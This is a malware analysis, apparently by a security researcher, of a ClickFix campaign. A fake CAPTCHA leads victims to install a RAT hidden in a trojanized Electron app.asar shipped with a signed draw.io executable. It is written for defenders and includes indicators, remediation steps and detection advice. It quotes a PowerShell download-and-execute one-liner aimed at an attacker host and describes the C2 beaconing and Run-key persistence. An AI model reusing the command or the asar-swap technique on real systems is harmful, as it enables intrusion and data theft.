Anatomy of a ClickFix-to-RAT campaign: trojanizing Electron's app.asar

A fake “I’m not a robot” prompt on fepafut[.]com, the official site of the Panamanian football federation, instructed visitors to paste a command into the Windows Run dialog. Classic ClickFix. What followed wasn’t: every executable in the resulting bundle was signed, clean, and would pass a VirusTotal check without a second glance. The compromise lived somewhere code-signing doesn’t look.

The lure

The site’s fake CAPTCHA walked the victim through the now-familiar ClickFix script: “verify you’re human” by opening Run (Win+R) and pasting a command supplied by the page. No exploit, no macro. Just a visitor doing exactly what they were told.

Execution chain

Four stages, each one legitimate on its own:

1. powershell.exe launches with iex(irm ccudmcx[.]xyz/u), pulling the second stage into memory and writing it to runner.ps1.
2. powershell.exe (runner.ps1) downloads update26[.]zip, a suspiciously large 1.3GB archive, and extracts it to %LOCALAPPDATA%\UpdateApp\.
3. draw.io.exe, signed by JGraph Ltd. (the real publisher of draw.io), launches normally.
4. On launch, it loads a trojanized app.asar and drops persistence via a CurrentVersion\Run registry key.

The standout detail: asar tampering, not sideloading

Every PE in the bundle came back clean and signed on VirusTotal. The 1.3GB size of update26[.]zip initially pointed toward DLL sideloading, until it became clear the payload wasn’t a DLL at all.

Electron apps load their main-process JavaScript from resources\app.asar, a bundled archive sitting alongside the signed executable. Replace that one file and the malicious code inherits the trust chain of a legitimately signed application without ever touching a binary that a code-signing check would flag. Classical PE-integrity controls have nothing to catch here: the executable itself is untouched and genuinely signed by JGraph.

Electron is the runtime behind a long list of everyday signed apps: VS Code, Discord, Slack, Postman, and Notion among them. Any of them is a candidate for the same trick if an attacker can get their app.asar swapped.

RAT capabilities

Once loaded, the trojanized app.asar gave the operator:

• Arbitrary JavaScript execution in the Electron main process via eval(task.e).
• The ability to drop and execute base64-encoded files fetched from C2, via child_process.exec.
• A per-victim persistent ID for stable, trackable beaconing.

Command and control

The implant POSTs every 65 seconds to chimefusion[.]com/u/. The request body is a JSON array carrying the victim ID, COMPUTERNAME, and USERNAME, enough for the operator to triage victims without touching the endpoint interactively.

Persistence

• app.setLoginItemSettings({ openAtLogin: true }) creates a HKCU\Software\Microsoft\Windows\CurrentVersion\Run entry pointing at %LOCALAPPDATA%\UpdateApp\draw.io.exe.
• A persistent victim ID is cached at %APPDATA%\setup.txt.
• The Run-key entry is the piece most defenders will wave through: it points at a signed, legitimate executable. The tell isn’t the binary, it’s the path: draw.io has no legitimate reason to be installed under %LOCALAPPDATA%\UpdateApp\.

Remediation

• Block chimefusion[.]com and ccudmcx[.]xyz at the network layer.
• Delete %LOCALAPPDATA%\UpdateApp\, %APPDATA%\setup.txt, and %TEMP%\runner.ps1 (%TEMP%\update26[.]zip is self-cleaning as part of runner.ps1’s execution).
• Remove the CurrentVersion\Run entry referencing draw.io.exe.
• Rotate any credentials that were active on the host during the compromise window.

Indicators of compromise

Lure             fepafut[.]com
Delivery         ccudmcx[.]xyz
C2               chimefusion[.]com/u/
Install path     %LOCALAPPDATA%\UpdateApp\ (anomalous drawio location)
Victim ID cache  %APPDATA%\setup.txt
Dropper          %TEMP%\runner.ps1, %TEMP%\update26[.]zip
Persistence      HKCU\Software\Microsoft\Windows\CurrentVersion\Run -> draw.io.exe
update26.zip     d942e9cfc0ca32a3d66ec690090ee22dca74953efed6889fb2292de36f5e39fd
app.asar         0642708ec7c25dec3168f1ab275a29bfd3cf69fe3afc3d5c6eadfa6750102883

Takeaways for defenders

• app.asar is an underused sideload surface. Any signed Electron app is a candidate: VS Code, Discord, Slack, Postman, and Notion included. Integrity checks that stop at the binary miss it entirely.
• A clean VirusTotal result isn’t the end of triage. Every PE here was genuine. The compromise sat inside an archive most tools don’t even look into.
• Path beats hash. The single most reliable tell in this case wasn’t a signature or a hash. It was a legitimate binary running from a location it has no business being in.